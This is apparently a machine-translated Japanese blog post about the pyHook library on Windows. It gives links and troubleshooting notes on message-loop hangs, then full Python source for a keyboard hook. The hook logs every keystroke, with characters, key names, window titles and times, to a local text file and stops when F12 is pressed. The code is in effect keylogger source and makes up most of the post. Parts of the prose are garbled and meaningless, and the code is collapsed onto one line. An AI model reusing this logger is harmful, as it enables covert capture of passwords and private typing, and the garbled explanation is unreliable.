pyhook のダウンロード: http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
pyhookAPI マニュアル: http://pyhook.sourceforge.net/doc_1.5.0/
上記の Web サイトでは、いくつかの使用例が提供されています。また、pyhook をインストールすると、サンプル ファイルも提供されます。初めて実行したとき、pythoncom モジュールが存在しないというメッセージが表示されたので、インストール後は正常に実行できますが、特にカードが発行されます。プログラムを中断すると、マウスがしばらくフリー状態になります。私は、イベントの頻度が高すぎて、プログラムが頻繁に停止することが主な原因であると感じました。 pythoncom.PumpMessages() でスタックしました。
長い間ネットで検索した結果、pythoncom.PumpMessages(n)、nは遅延時間を表すという投稿を見たので、変更してみたところ、一定の効果があることがわかりましたが、明らかではありませんでした後でプログラムが終了していないためなのかと思いましたが、プログラムが常に停止するため、終了プログラムのステートメント win32api.PostQuitMessage() を追加します。結果は非常に満足です。
# -*- coding: cp936 -*- import pythoncom import pyHook import time import win32api t='' asciistr='' keystr='' def onKeyboardEvent(event): global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') "处理键盘事件" if t==str(event.WindowName): asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key) else: t=str(event.WindowName) if asciistr=='' and keystr=='': wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("MessageName:%s\n" % str(event.MessageName)) wrfile.writelines("Message:%d\n" % event.Message) wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) else: wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) asciistr=chr(event.Ascii) keystr=str(event.Key) if str(event.Key)=='F12': #按下F12后终止 wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.close() win32api.PostQuitMessage() return True if __name__ == "__main__": #创建hook句柄 hm = pyHook.HookManager() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages(10000)